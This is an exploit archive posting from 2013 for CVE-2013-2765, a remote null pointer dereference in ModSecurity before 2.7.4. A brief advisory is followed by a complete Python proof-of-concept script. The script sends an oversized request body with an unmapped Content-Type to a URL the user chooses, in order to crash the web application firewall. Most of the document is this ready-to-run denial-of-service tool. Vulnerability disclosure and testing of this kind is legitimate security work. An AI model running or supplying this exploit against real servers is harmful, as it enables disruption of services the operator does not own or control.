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ModSecurity Remote Null Pointer Dereference

ModSecurity Remote Null Pointer Dereference
Posted May 29, 2013
Authored by Younes JAAIDI

When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.

tags | exploit, proof of concept
advisories | CVE-2013-2765
MD5 | 3ec20deb201d633f1e0a6aa83d0a8955

ModSecurity Remote Null Pointer Dereference

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#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

_DEFAULT_REQUEST_BODY_SIZE = 200 # KB
_DEFAULT_CONCURRENCY = 100
_DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

def __init__(self):
self._request_counter = 0
self._status_message = None

def main(self, args_list):
args_object = self._parse_args(args_list)

payload = "A" * args_object.request_body_size * 1024

request = urllib.request.Request(args_object.target_url,
method = "GET",
data = payload.encode('utf-8'),
headers = {'Content-Type': 'text/random',
'User-Agent': self._DEFAULT_USER_AGENT})

if self._send_request(request):
logger.info("Target seems to be vulnerable!!!")
return 0
else:
logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
return 1

def _parse_args(self, args_list):
parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
parser.add_argument('-t', '--target-url',
dest = 'target_url',
required = True,
help = "Target URL")
parser.add_argument('-s', '--request-body-size',
dest = 'request_body_size',
default = self._DEFAULT_REQUEST_BODY_SIZE,
type = int,
help = "Request body size in KB")

return parser.parse_args()

def _send_request(self, request):
try:
urllib.request.urlopen(request)
return False
except (http.client.BadStatusLine, urllib.error.HTTPError):
return True

if __name__ == '__main__':
sys.exit(ModSecurityDOSCheck().main(sys.argv))



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